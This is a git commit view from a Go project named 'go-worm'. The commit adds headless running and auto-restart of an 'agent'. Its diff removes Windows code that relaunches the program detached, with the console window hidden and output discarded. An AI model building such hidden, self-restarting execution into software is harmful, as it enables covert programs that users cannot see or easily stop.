refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+1 -33
View File
@@ -3,11 +3,6 @@ package instance
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
@@ -20,32 +15,5 @@ func Detach() error {
if err != nil {
return err
}
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
func stripBackground(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
if lower == "background" || strings.HasPrefix(lower, "background=") {
continue
}
out = append(out, arg)
}
return out
return Launch(exe, filterArgs(os.Args[1:]))
}